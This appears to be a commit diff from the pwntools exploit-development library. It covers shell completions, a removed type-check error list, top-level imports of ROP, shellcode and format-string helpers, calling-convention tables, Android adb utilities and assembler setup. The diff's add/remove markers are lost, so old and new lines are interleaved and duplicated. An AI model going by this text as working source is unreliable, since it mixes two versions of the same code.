'(-l --list)'{-l,--list}'[List available shellcodes, optionally provide a filter]' \
'(-s --shared)'{-s,--shared}'[Generated ELF is a shared library]' \
'*:SHELLCODE: '
;;
template)
_arguments \
'(-h --help)'{-h,--help}'[show help message and exit]' \
'--host[Remote host / SSH server]:HOST:_ssh_hosts ' \
'--port[Remote port / SSH port]:PORT: ' \
'--user[SSH Username]:USER:_ssh_users' \
'(--pass --password)'{--pass,--password}'[SSH Password]:PASSWORD: ' \
'--libc[Path to libc binary to use. If not given, the current directory is searched for a libc binary]:LIBC_PATH:_files' \
'--path[Remote path of file on SSH server]:PATH:_files' \
'(-h --help)'{-h,--help}'[show this help message and exit]' \
'--host=[Remote host / SSH server]:' \
'--port=[Remote port / SSH port]:' \
'--user=[SSH Username]:' \
'(--pass --password)'{--pass,--password}'=[SSH Password]:' \
'--path=[Remote path of file on SSH server]:' \
'--quiet[Less verbose template comments]' \
'--color[Print the output in color]:COLOR:(never always auto)' \
'--template[Path to a custom template]:TEMPLATE_PATH:_files' \
'--no-auto[Do not automatically detect missing binaries]' \
'1:EXE:_files' \
'*: :'
'--color=[Print the output in color]:--color :(never always auto)' \
;;
unhex)
_arguments \
'(-h --help)'{-h,--help}'[show help message and exit]' \
'*:HEX: '
'(-h --help)'{-h,--help}'[show this help message and exit]' \
;;
update)
_arguments \
'(-h --help)'{-h,--help}'[show help message and exit]' \
'--install[Install the update automatically]' \
'--pre[Check for pre-releases]' \
'(-h --help)'{-h,--help}'[show this help message and exit]' \
'--install[Install the update automatically.]' \
'--pre[Check for pre-releases.]' \
;;
version)
_arguments \
'(-h --help)'{-h,--help}'[show help message and exit]' \
'(-h --help)'{-h,--help}'[show this help message and exit]' \
;;
esac
;;
esac
}
_pwn
_pwn
-70
View File
@@ -1,70 +0,0 @@
pwnlib/filesystem/path.py:0: error: "classmethod" used with a non-method [misc]
pwnlib/filesystem/path.py:0: error: "classmethod" used with a non-method [misc]
pwnlib/util/packing.py:0: error: Name "_p8lu" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_p8lu" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_p8ls" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_p8bu" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_p8bs" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_p16lu" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_p16ls" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_p16bu" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_p16bs" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_p32lu" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_p32ls" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_p32bu" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_p32bs" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_p64lu" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_p64ls" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_p64bu" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_p64bs" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Argument 1 to "get" of "dict" has incompatible type "tuple[Literal[8, 16, 32, 64] | Any, int, Any | None]"; expected "tuple[int, int, int]" [arg-type]
pwnlib/util/packing.py:0: error: Name "_u8lu" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_u8ls" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_u8bu" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_u8bs" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_u16lu" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_u16ls" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_u16bu" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_u16bs" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_u32lu" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_u32ls" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_u32bu" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_u32bs" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_u64lu" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_u64ls" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_u64bu" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_u64bs" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_p8lu" is not defined [name-defined]
pwnlib/util/fiddling.py:0: error: Incompatible return value type (got "list[_OneT | int | _ZeroT]", expected "list[_ZeroT | _OneT] | list[int]") [return-value]
pwnlib/util/fiddling.py:0: error: Module has no attribute "_p8lu" [attr-defined]
pwnlib/util/fiddling.py:0: error: Module has no attribute "_p8lu" [attr-defined]
pwnlib/util/fiddling.py:0: error: Module has no attribute "_p8lu" [attr-defined]
pwnlib/util/fiddling.py:0: error: Module has no attribute "_p8lu" [attr-defined]
pwnlib/util/fiddling.py:0: error: Module has no attribute "_p8lu" [attr-defined]
pwnlib/util/fiddling.py:0: error: Module has no attribute "_p8lu" [attr-defined]
pwnlib/util/fiddling.py:0: error: No overload variant of "__add__" of "list" matches argument type "tuple[Any, ...]" [operator]
pwnlib/util/fiddling.py:0: note: Possible overload variants:
pwnlib/util/fiddling.py:0: note: def __add__(self, list[Any], /) -> list[Any]
pwnlib/util/fiddling.py:0: note: def [_S] __add__(self, list[_S], /) -> list[_S | Any]
pwnlib/util/fiddling.py:0: error: No overload variant of "__add__" of "tuple" matches argument type "list[Any]" [operator]
pwnlib/util/fiddling.py:0: note: def __add__(self, tuple[Any, ...], /) -> tuple[Any, ...]
pwnlib/util/fiddling.py:0: note: def [_T] __add__(self, tuple[_T, ...], /) -> tuple[Any | _T, ...]
pwnlib/util/fiddling.py:0: note: Both left and right operands are unions
pwnlib/util/fiddling.py:0: error: Module has no attribute "_p8lu" [attr-defined]
pwnlib/util/fiddling.py:0: error: Module has no attribute "_p8lu" [attr-defined]
pwnlib/util/sh_string.py:0: error: Argument 1 has incompatible type "*list[str | bytes | bytearray]"; expected "str | bytes" [arg-type]
pwnlib/util/proc.py:0: error: "sock" has no attribute "family" [attr-defined]
pwnlib/util/proc.py:0: error: "sock" has no attribute "type" [attr-defined]
pwnlib/util/proc.py:0: error: Argument 1 to "sock_match" has incompatible type "tuple[str, int]"; expected "addr" [arg-type]
pwnlib/util/proc.py:0: error: "None" has no attribute "pid" [attr-defined]
pwnlib/util/proc.py:0: error: Item "None" of "Process | None" has no attribute "pid" [union-attr]
pwnlib/util/proc.py:0: error: Module has no attribute "WinError" [attr-defined]
pwnlib/util/proc.py:0: error: Module has no attribute "get_last_error" [attr-defined]
pwnlib/util/proc.py:0: error: Module has no attribute "WinDLL" [attr-defined]
pwnlib/elf/elf.py:0: error: Need type annotation for "symbols" (hint: "symbols: dict[<type>, <type>] = ...") [var-annotated]
pwnlib/elf/elf.py:0: error: Need type annotation for "got" (hint: "got: dict[<type>, <type>] = ...") [var-annotated]
pwnlib/elf/elf.py:0: error: Need type annotation for "plt" (hint: "plt: dict[<type>, <type>] = ...") [var-annotated]
pwnlib/elf/elf.py:0: error: Need type annotation for "functions" (hint: "functions: dict[<type>, <type>] = ...") [var-annotated]
pwnlib/elf/elf.py:0: error: Name "address" already defined on line 0 [no-redef]
pwnlib/encoders/encoder.py:0: error: Need type annotation for "blacklist" (hint: "blacklist: set[<type>] = ...") [var-annotated]
pwnlib/rop/call.py:0: error: Need type annotation for "args" (hint: "args: list[<type>] = ...") [var-annotated]
+3 -3
View File
@@ -1,13 +1,13 @@
# Promote useful stuff to toplevel
from __future__ import absolute_import
from pwn.toplevel import *
import pwnlib.update
pwnlib.args.initialize()
pwnlib.log.install_default_handler()
pwnlib.config.initialize()
# Replace the module with the actual args object so that `from pwn import args` works as expected.
args = pwnlib.args.args # type: ignore[assignment]
args = pwnlib.args.args
if not platform.architecture()[0].startswith('64'):
"""Determines if the current Python interpreter is supported by Pwntools.
+84 -85
View File
@@ -1,20 +1,88 @@
# Get all the modules from pwnlib
import collections as collections
import logging as logging
import math as math
import operator as operator
import os as os
import platform as platform
import re as re
import socks as socks
import signal as signal
import string as string
import struct as struct
import subprocess as subprocess
import sys as sys
import tempfile as tempfile
import threading as threading
import time as time
import collections
import logging
import math
import operator
import os
import platform
import re
import socks
import signal
import string
import struct
import subprocess
import sys
import tempfile
import threading
import time
from pprint import pprint
import pwnlib
from pwnlib import *
from pwnlib.asm import *
from pwnlib.context import Thread
from pwnlib.context import context, LocalContext
from pwnlib.dynelf import DynELF
from pwnlib.encoders import *
from pwnlib.elf.corefile import Core, Corefile, Coredump
from pwnlib.elf.elf import ELF, load
from pwnlib.encoders import *
from pwnlib.exception import PwnlibException
from pwnlib.gdb import attach, debug_assembly, debug_shellcode
from pwnlib.filepointer import *
from pwnlib.filesystem import *
from pwnlib.flag import *
from pwnlib.fmtstr import FmtStr, fmtstr_payload, fmtstr_split
from pwnlib.log import getLogger
from pwnlib.memleak import MemLeak, RelativeMemLeak
from pwnlib.regsort import *
from pwnlib.replacements import *
from pwnlib.rop import ROP
from pwnlib.rop.call import AppendedArgument
from pwnlib.rop.srop import SigreturnFrame
from pwnlib.rop.ret2dlresolve import Ret2dlresolvePayload
from pwnlib.runner import *
from pwnlib.term.readline import str_input
from pwnlib.timeout import Timeout
from pwnlib.tubes.listen import listen
from pwnlib.tubes.process import process, PTY, PIPE, STDOUT
from pwnlib.tubes.remote import remote, tcp, udp, connect
from pwnlib.tubes.serialtube import serialtube
from pwnlib.tubes.server import server
from pwnlib.tubes.ssh import ssh
from pwnlib.tubes.tube import tube
from pwnlib.ui import *
from pwnlib.util import crc
from pwnlib.util import iters
from pwnlib.util import net
from pwnlib.util import proc
from pwnlib.util import safeeval
from pwnlib.util.crc import BitPolynom
from pwnlib.util.cyclic import *
from pwnlib.util.fiddling import *
from pwnlib.util.getdents import *
from pwnlib.util.hashes import *
from pwnlib.util.lists import *
from pwnlib.util.misc import *
from pwnlib.util.packing import *
from pwnlib.util.proc import pidof
from pwnlib.util.sh_string import sh_string, sh_prepare, sh_command_with
from pwnlib.util.splash import *
from pwnlib.util.web import *
# Promote these modules, so that "from pwn import *" will let you access them
from six.moves import cPickle as pickle, cStringIO as StringIO
from six import BytesIO
log = getLogger("pwnlib.exploit")
error = log.error
warning = log.warning
warn = log.warning
info = log.info
debug = log.debug
success = log.success
try:
import colored_traceback
@@ -31,74 +99,5 @@ else:
# available on all platforms (e.g. Windows).
pass
from pprint import pprint as pprint
import pwnlib as pwnlib
from pwnlib import *
from pwnlib.asm import *
from pwnlib.context import Thread as Thread
from pwnlib.context import context as context, LocalContext as LocalContext
from pwnlib.dynelf import DynELF as DynELF
from pwnlib.encoders import *
from pwnlib.elf.corefile import Core as Core, Corefile as Corefile, Coredump as Coredump
from pwnlib.elf.elf import ELF as ELF, load as load
from pwnlib.encoders import *
from pwnlib.exception import PwnlibException as PwnlibException
from pwnlib.gdb import attach as attach, debug_assembly as debug_assembly, debug_shellcode as debug_shellcode
from pwnlib.filepointer import *
from pwnlib.filesystem import *
from pwnlib.flag import *
from pwnlib.fmtstr import FmtStr as FmtStr, fmtstr_payload as fmtstr_payload, fmtstr_split as fmtstr_split
from pwnlib.log import getLogger
from pwnlib.memleak import MemLeak as MemLeak, RelativeMemLeak as RelativeMemLeak
from pwnlib.regsort import *
from pwnlib.replacements import *
from pwnlib.rop import ROP as ROP
from pwnlib.rop.call import AppendedArgument as AppendedArgument
from pwnlib.rop.srop import SigreturnFrame as SigreturnFrame
from pwnlib.rop.ret2dlresolve import Ret2dlresolvePayload as Ret2dlresolvePayload
from pwnlib.runner import *
from pwnlib.term.readline import str_input as str_input
from pwnlib.timeout import Timeout as Timeout
from pwnlib.tubes.listen import listen as listen
from pwnlib.tubes.process import process as process, PTY as PTY, PIPE as PIPE, STDOUT as STDOUT
from pwnlib.tubes.remote import remote as remote, tcp as tcp, udp as udp, connect as connect
from pwnlib.tubes.serialtube import serialtube as serialtube
from pwnlib.tubes.server import server as server
from pwnlib.tubes.ssh import ssh as ssh
from pwnlib.tubes.tube import tube as tube
from pwnlib.ui import *
from pwnlib.util import crc as crc
from pwnlib.util import iters as iters
from pwnlib.util import net as net
from pwnlib.util import proc as proc
from pwnlib.util import safeeval as safeeval
from pwnlib.util.crc import BitPolynom as BitPolynom
from pwnlib.util.cyclic import *
from pwnlib.util.fiddling import *
from pwnlib.util.getdents import *
from pwnlib.util.hashes import *
from pwnlib.util.lists import *
from pwnlib.util.misc import *
from pwnlib.util.packing import *
from pwnlib.util.proc import pidof as pidof
from pwnlib.util.sh_string import sh_string as sh_string, sh_prepare as sh_prepare, sh_command_with as sh_command_with
from pwnlib.util.splash import *
from pwnlib.util.web import *
from pwnlib.libc import *
# Promote these modules, so that "from pwn import *" will let you access them
import pickle as pickle
from io import BytesIO as BytesIO, StringIO as StringIO
log = getLogger("pwnlib.exploit")
error = log.error
warning = log.warning
warn = log.warning
info = log.info
debug = log.debug
success = log.success
# Equivalence with the default behavior of "from import *"
# __all__ = [x for x in tuple(globals()) if not x.startswith('_')]
+1
View File
@@ -23,6 +23,7 @@ __all__ = [
'libcdb',
'log',
'memleak',
'pep237',
'regsort',
'replacements',
'rop',
+13 -22
View File
@@ -1,34 +1,35 @@
# -*- coding: utf-8 -*-
from __future__ import absolute_import
from __future__ import division
from pwnlib.context import LocalContext
from pwnlib.context import context
class ABI:
class ABI(object):
"""
Encapsulates information about a calling convention.
"""
#: Register which points to the top of the stack.
stack: str
#: List or registers which should be filled with arguments before
#: spilling onto the stack.
register_arguments: list[str]
register_arguments = []
#: Minimum alignment of the stack.
#: The value used is min(context.bytes, stack_alignment)
#: This is necessary as Windows x64 frames must be 32-byte aligned.
#: "Alignment" is considered with respect to the last argument on the stack.
arg_alignment: int
arg_alignment = 1
#: Minimum number of stack slots used by a function call
#: This is necessary as Windows x64 requires using 4 slots on the stack
stack_minimum: int
stack_minimum = 0
#: Indicates that this ABI returns to the next address on the slot
returns: bool = True
returns = True
def __init__(self, stack, arg_regs, align, minimum):
def __init__(self, stack, regs, align, minimum):
self.stack = stack
self.register_arguments = arg_regs
self.register_arguments = regs
self.arg_alignment = align
self.stack_minimum = minimum
@@ -49,7 +50,6 @@ class ABI:
(64, 'powerpc', 'linux'): linux_ppc64,
(32, 'riscv32', 'linux'): linux_riscv32,
(64, 'riscv64', 'linux'): linux_riscv64,
(64, 'loongarch64', 'linux'): linux_loongarch64,
(32, 'i386', 'freebsd'): freebsd_i386,
(64, 'aarch64', 'freebsd'): freebsd_aarch64,
(64, 'amd64', 'freebsd'): freebsd_amd64,
@@ -77,17 +77,18 @@ class ABI:
(32, 'arm', 'linux'): linux_arm_syscall,
(32, 'thumb', 'linux'): linux_arm_syscall,
(32, 'mips', 'linux'): linux_mips_syscall,
(64, 'aarch64', 'linux'): linux_aarch64_syscall,
(32, 'powerpc', 'linux'): linux_ppc_syscall,
(64, 'powerpc', 'linux'): linux_ppc64_syscall,
(32, 'riscv32', 'linux'): linux_riscv32_syscall,
(64, 'riscv64', 'linux'): linux_riscv64_syscall,
(64, 'loongarch64', 'linux'): linux_loongarch64_syscall,
(32, 'i386', 'freebsd'): freebsd_i386_syscall,
(64, 'amd64', 'freebsd'): freebsd_amd64_syscall,
(64, 'aarch64', 'freebsd'): freebsd_aarch64_syscall,
(32, 'arm', 'freebsd'): freebsd_arm_syscall,
(32, 'thumb', 'freebsd'): freebsd_arm_syscall,
(32, 'mips', 'freebsd'): freebsd_mips_syscall,
(64, 'aarch64', 'freebsd'): freebsd_aarch64_syscall,
(32, 'powerpc', 'freebsd'): freebsd_ppc_syscall,
(64, 'powerpc', 'freebsd'): freebsd_ppc64_syscall,
(64, 'amd64', 'darwin'): darwin_amd64_syscall,
@@ -108,7 +109,6 @@ class ABI:
(64, 'aarch64', 'linux'): linux_aarch64_sigreturn,
(32, 'riscv32', 'linux'): linux_riscv32_sigreturn,
(64, 'riscv64', 'linux'): linux_riscv64_sigreturn,
(64, 'loongarch64', 'linux'): linux_loongarch64_sigreturn,
(32, 'i386', 'freebsd'): freebsd_i386_sigreturn,
(64, 'amd64', 'freebsd'): freebsd_amd64_sigreturn,
(32, 'arm', 'freebsd'): freebsd_arm_sigreturn,
@@ -124,10 +124,6 @@ class SyscallABI(ABI):
The syscall ABI treats the syscall number as the zeroth argument,
which must be loaded into the specified register.
"""
#: Register which should be loaded with the syscall number.
syscall_register: str
def __init__(self, *a, **kw):
super(SyscallABI, self).__init__(*a, **kw)
self.syscall_register = self.register_arguments[0]
@@ -152,7 +148,6 @@ linux_ppc = ABI('sp', ['r3', 'r4', 'r5', 'r6', 'r7', 'r8', 'r9', 'r10'], 4, 0)
linux_ppc64 = ABI('sp', ['r3', 'r4', 'r5', 'r6', 'r7', 'r8', 'r9', 'r10'], 8, 0)
linux_riscv32 = ABI('sp', ['a0', 'a1', 'a2', 'a3', 'a4', 'a5', 'a6', 'a7'], 8, 0)
linux_riscv64 = ABI('sp', ['a0', 'a1', 'a2', 'a3', 'a4', 'a5', 'a6', 'a7'], 8, 0)
linux_loongarch64 = ABI('sp', ['a0', 'a1', 'a2', 'a3', 'a4', 'a5', 'a6', 'a7'], 8, 0)
sysv_i386 = linux_i386
sysv_amd64 = linux_amd64
@@ -163,7 +158,6 @@ sysv_ppc = linux_ppc
sysv_ppc64 = linux_ppc64
sysv_riscv32 = linux_riscv32
sysv_riscv64 = linux_riscv64
sysv_loongarch64 = linux_loongarch64
# Docs: https://man7.org/linux/man-pages/man2/syscall.2.html
linux_i386_syscall = SyscallABI('esp', ['eax', 'ebx', 'ecx', 'edx', 'esi', 'edi', 'ebp'], 4, 0)
@@ -175,7 +169,6 @@ linux_ppc_syscall = SyscallABI('sp', ['r0', 'r3', 'r4', 'r5', 'r6', 'r7', 'r8',
linux_ppc64_syscall = SyscallABI('sp', ['r0', 'r3', 'r4', 'r5', 'r6', 'r7', 'r8'], 8, 0)
linux_riscv32_syscall = SyscallABI('sp', ['a7', 'a0', 'a1', 'a2', 'a3', 'a4', 'a5'], 4, 0)
linux_riscv64_syscall = SyscallABI('sp', ['a7', 'a0', 'a1', 'a2', 'a3', 'a4', 'a5'], 8, 0)
linux_loongarch64_syscall = SyscallABI('sp', ['a7', 'a0', 'a1', 'a2', 'a3', 'a4', 'a5', 'a6'], 8, 0)
linux_i386_sigreturn = SigreturnABI('esp', ['eax'], 4, 0)
linux_amd64_sigreturn = SigreturnABI('rsp', ['rax'], 8, 0)
@@ -183,7 +176,6 @@ linux_arm_sigreturn = SigreturnABI('sp', ['r7'], 4, 0)
linux_aarch64_sigreturn = SigreturnABI('sp', ['x8'], 16, 0)
linux_riscv32_sigreturn = SigreturnABI('sp', ['a7'], 4, 0)
linux_riscv64_sigreturn = SigreturnABI('sp', ['a7'], 8, 0)
linux_loongarch64_sigreturn = SigreturnABI('sp', ['a7'], 8, 0)
sysv_i386_sigreturn = linux_i386_sigreturn
sysv_amd64_sigreturn = linux_amd64_sigreturn
@@ -191,7 +183,6 @@ sysv_arm_sigreturn = linux_arm_sigreturn
sysv_aarch64_sigreturn = linux_aarch64_sigreturn
sysv_riscv32_sigreturn = linux_riscv32_sigreturn
sysv_riscv64_sigreturn = linux_riscv64_sigreturn
sysv_loongarch64_sigreturn = linux_loongarch64_sigreturn
freebsd_i386 = sysv_i386
freebsd_amd64 = sysv_amd64
+2
View File
@@ -1,3 +1,5 @@
from __future__ import absolute_import
from pwnlib.adb.adb import *
from pwnlib.adb.protocol import Client
from pwnlib.adb.bootimg import BootImage
+30 -31
View File
@@ -45,21 +45,24 @@ the :mod:`pwnlib.adb` module.
adb.write('/data/local/tmp/foo', 'my data')
"""
from __future__ import absolute_import
from __future__ import division
import datetime
import functools
import glob
import logging
import os
import re
import shutil
import six
import stat
import tempfile
import time
import dateutil.parser
from pwnlib import atexit
from pwnlib import tubes
from pwnlib.tubes.remote import remote
from pwnlib.context import LocalContext
from pwnlib.context import context
from pwnlib.device import Device
@@ -82,7 +85,7 @@ def adb(argv, *a, **kw):
>>> adb.adb(['shell', 'uname']) # it is better to use adb.process
b'Linux\n'
"""
if isinstance(argv, (bytes, str)):
if isinstance(argv, (bytes, six.text_type)):
argv = [argv]
log.debug("$ " + ' '.join(context.adb + argv))
@@ -317,12 +320,11 @@ class AdbDevice(Device):
port = int(port)
try:
with remote('localhost', port, level='error') as r:
r.recvuntil(b'OK')
r.recvuntil('OK')
r.recvline() # Rest of the line
r.sendline(b'avd name')
self._avd = r.recvlineS().strip()
except (OSError, EOFError, PwnlibException):
# ADB device disconnected or not responding, skip AVD name lookup
r.sendline('avd name')
self.avd = r.recvline().strip()
except:
pass
self._initialized = True
@@ -364,7 +366,7 @@ class AdbDevice(Device):
return AdbDevice(serial, type, **kwargs)
def __wrapped(self, function):
"""Wraps a callable in a scope which selects the current device."""
"""Wrapps a callable in a scope which selects the current device."""
@functools.wraps(function)
def wrapper(*a, **kw):
with context.local(device=self):
@@ -372,7 +374,7 @@ class AdbDevice(Device):
return wrapper
def __getattr__(self, name):
"""Provides scoped access to ``adb`` module properties, in the context
"""Provides scoped access to ``adb`` module propertise, in the context
of this device.
.. doctest::
@@ -836,7 +838,7 @@ def process(argv, *a, **kw):
>>> print(adb.process(['cat','/proc/version']).recvall().decode('utf-8')) # doctest: +ELLIPSIS
Linux version ...
"""
if isinstance(argv, (bytes, str)):
if isinstance(argv, (bytes, six.text_type)):
argv = [argv]
message = "Starting %s process %r" % ('Android', argv[0])
@@ -886,15 +888,15 @@ def which(name, all = False, *a, **kw):
[]
"""
# Unfortunately, there is no native 'which' on many phones.
which_cmd = fr'''
which_cmd = '''
(IFS=:
for directory in $PATH; do
[ -x "$directory/{name}" ] || continue;
echo -n "$directory/{name}\x00";
echo -n "$directory/{name}\\x00";
done
)
[ -x "{name}" ] && echo -n "$PWD/{name}\x00"
'''
[ -x "{name}" ] && echo -n "$PWD/{name}\\x00"
'''.format(name=name)
which_cmd = which_cmd.strip()
data = process(['sh','-c', which_cmd], *a, **kw).recvall()
@@ -1117,7 +1119,7 @@ def unlock_bootloader():
if 'unlocked: yes' not in unlocked:
log.error("Unlock failed")
class Kernel:
class Kernel(object):
_kallsyms = None
@property
@@ -1192,7 +1194,7 @@ class Kernel:
'Nexus 7': 'oem uart-on',
}
with log.waitfor('Enabling kernel UART') as w:
with log.waitfor('Enabling kernel UART'):
if model not in known_commands:
log.error("Device UART is unsupported.")
@@ -1227,7 +1229,7 @@ class Kernel:
kernel = Kernel()
class Property:
class Property(object):
def __init__(self, name=None):
# Need to avoid overloaded setattr() so we go through __dict__
self.__dict__['_name'] = name
@@ -1261,7 +1263,7 @@ class Property:
>>> adb.properties.ro.build.version.sdk == "24"
True
"""
if isinstance(other, str):
if isinstance(other, six.string_types):
return str(self) == other
return super(Property, self).__eq__(other)
@@ -1273,6 +1275,7 @@ properties = Property()
def _build_date():
"""Returns the build date in the form YYYY-MM-DD as a string"""
import datetime
# Use ro.build.date.utc (integer epoch seconds) which is set by the
# AOSP build system and available on all standard Android devices.
@@ -1281,7 +1284,7 @@ def _build_date():
utc = getprop('ro.build.date.utc')
if utc and utc.strip().isdigit():
try:
as_datetime = datetime.datetime.fromtimestamp(int(utc.strip()), tz=datetime.timezone.utc)
as_datetime = datetime.datetime.fromtimestamp(int(utc.strip()), dateutil.tz.UTC)
return as_datetime.strftime('%Y-%b-%d')
except (OSError, OverflowError, ValueError):
pass
@@ -1290,11 +1293,6 @@ def _build_date():
as_string = getprop('ro.build.date')
if not as_string:
return ''
try:
import dateutil.parser
except ImportError:
log.exception("dateutil is required to parse ro.build.date since ro.build.date.utc is missing. Please install it with 'pip install python-dateutil'")
try:
as_datetime = dateutil.parser.parse(as_string)
except (ValueError, OverflowError):
@@ -1446,7 +1444,7 @@ def compile(source):
return output[0]
class Partition:
class Partition(object):
def __init__(self, path, name, blocks=0):
self.path = path
self.name = name
@@ -1498,7 +1496,7 @@ def readlink(path):
return path.decode()
class Partitions:
class Partitions(object):
"""Enable access to partitions
Example:
@@ -1577,7 +1575,7 @@ def install(apk, *arguments):
This is a wrapper around 'pm install', which backs 'adb install'.
Arguments:
apk(str): Path to the APK to install (e.g. ``'foo.apk'``)
apk(str): Path to the APK to intall (e.g. ``'foo.apk'``)
arguments: Supplementary arguments to 'pm install',
e.g. ``'-l', '-g'``.
"""
@@ -1585,9 +1583,9 @@ def install(apk, *arguments):
log.error("APK must have .apk extension")
basename = os.path.basename(apk)
target_path = f'/data/local/tmp/{basename}.apk'
target_path = '/data/local/tmp/{}.apk'.format(basename)
with log.progress(f"Installing APK {basename}") as p:
with log.progress("Installing APK {}".format(basename)) as p:
with context.quiet:
p.status('Copying APK to device')
push(apk, target_path)
@@ -1608,7 +1606,7 @@ def uninstall(package, *arguments):
package(str): Name of the package to uninstall (e.g. ``'com.foo.MyPackage'``)
arguments: Supplementary arguments to ``'pm install'``, e.g. ``'-k'``.
"""
with log.progress(f"Uninstalling package {package}"):
with log.progress("Uninstalling package {}".format(package)):
with context.quiet:
return process(['pm','uninstall',package] + list(arguments)).recvall()
@@ -1626,3 +1624,4 @@ def version():
"""Returns rthe platform version as a tuple."""
prop = getprop('ro.build.version.release')
return [int(v) for v in prop.split('.')]
+3 -1
View File
@@ -1,3 +1,5 @@
from __future__ import division
import ctypes
BOOT_MAGIC = b"ANDROID!"
@@ -33,7 +35,7 @@ class boot_img_hdr(ctypes.Structure):
('extra_cmdline', ctypes.c_char * BOOT_EXTRA_ARGS_SIZE),
]
class BootImage:
class BootImage(object):
def __init__(self, data):
self.data = data
self.header = boot_img_hdr.from_buffer_copy(data)
+6 -2
View File
@@ -1,6 +1,10 @@
from __future__ import unicode_literals
from __future__ import division
import ctypes
import io
import os
import six
import sys
from pwnlib.log import getLogger
@@ -23,7 +27,7 @@ class bootloader_images_header(ctypes.Structure):
BOOTLDR_MAGIC = b'BOOTLDR!'
class BootloaderImage:
class BootloaderImage(object):
def __init__(self, data):
"""Android Bootloader image
@@ -61,7 +65,7 @@ class BootloaderImage:
Returns:
Contents of the image.
"""
if isinstance(index_or_name, int):
if isinstance(index_or_name, six.integer_types):
index = index_or_name
else:
for i in range(len(self.img_info)):
+4 -4
View File
@@ -17,10 +17,7 @@ The easiest example is to enable more verbose debugging. Just set ``DEBUG``.
These arguments are automatically extracted, regardless of their name, and
exposed via :mod:`pwnlib.args.args`, which is exposed as the global variable
:data:`args`. Arguments which ``pwntools`` reserves internally are not exposed
this way. These reserved arguments (such as ``DEBUG`` and ``NOASLR``) instead
adjust :data:`pwnlib.context.context`, so their effect is read from ``context``
(e.g. ``context.log_level``, ``context.aslr``) rather than from ``args`` --
``args.NOASLR`` is always the empty string.
this way.
.. code-block:: bash
@@ -51,6 +48,9 @@ The full list of supported "magic arguments" and their effects are listed
below.
"""
from __future__ import absolute_import
from __future__ import division
import collections
import logging
import os
+16 -17
View File
@@ -1,3 +1,4 @@
# -*- coding: utf-8 -*-
r"""
Utilities for assembling and disassembling code.
@@ -38,6 +39,9 @@ Disassembly
' 0: b8 0b 00 00 00 mov eax, 0xb'
"""
from __future__ import absolute_import
from __future__ import division
import errno
import os
import platform
@@ -55,7 +59,6 @@ from pwnlib import shellcraft
from pwnlib.context import LocalContext
from pwnlib.context import context
from pwnlib.log import getLogger
from pwnlib.util.fiddling import hexstr
from pwnlib.util.hashes import sha1sumhex
from pwnlib.util.packing import _encode
from pwnlib.version import __version__
@@ -130,10 +133,11 @@ def print_binutils_instructions(util, context):
if packages:
instructions = '$ sudo apt-get install %s' % packages[0]
log.error(f"""\
Could not find {util!r} installed for {context}
log.error("""
Could not find %(util)r installed for %(context)s
Try installing binutils for this architecture:
{instructions}""")
%(instructions)s
""".strip() % locals())
def check_binutils_version(util):
@@ -188,7 +192,6 @@ def which_binutils(util, check_version=False):
'thumb': ['arm', 'aarch64'],
'i686': ['x86_64', 'amd64'],
'amd64': ['x86_64'],
'loongarch64': ['loong64'],
}.get(arch, [])
# Some binutils can support multiple architectures. Try them as fallbacks.
@@ -253,7 +256,7 @@ def which_binutils(util, check_version=False):
# No dice!
print_binutils_instructions(util, context)
util_versions: defaultdict[str, tuple[int, ...]] = defaultdict(tuple)
util_versions = defaultdict(tuple)
def _assembler():
gas, version = which_binutils('as', check_version=True)
@@ -290,11 +293,8 @@ def _assembler():
'ia64': [gas, '-m%ce' % context.endianness[0]],
# riscv64-unknown-elf-as supports riscv32 as well as riscv64
'riscv32': [gas, '-march=rv32gv_zba_zbb_zbs', '-mabi=ilp32'],
'riscv64': [gas, '-march=rv64gv_zba_zbb_zbs', '-mabi=lp64'],
# loongarch64 supports none of -64, -EB, -EL or -march
'loongarch64' : [gas],
'riscv32': [gas, '-march=rv32gc', '-mabi=ilp32'],
'riscv64': [gas, '-march=rv64gc', '-mabi=lp64'],
}
assembler = assemblers.get(context.arch, [gas])
@@ -396,7 +396,6 @@ def _bfdname():
'powerpc64' : 'elf64-powerpc',
'riscv32' : 'elf%d-%sriscv' % (context.bits, E),
'riscv64' : 'elf%d-%sriscv' % (context.bits, E),
'loongarch64' : 'elf%d-loongarch' % context.bits,
'vax' : 'elf32-vax',
's390' : 'elf%d-s390' % context.bits,
'sparc' : 'elf32-sparc',
@@ -421,7 +420,6 @@ def _bfdarch():
'thumb': 'arm',
'riscv32': 'riscv',
'riscv64': 'riscv',
'loongarch64': 'loongarch64'
}
if arch in convert:
@@ -640,7 +638,8 @@ def make_elf(data,
assembler = _assembler()
linker = _linker()
code = _arch_header()
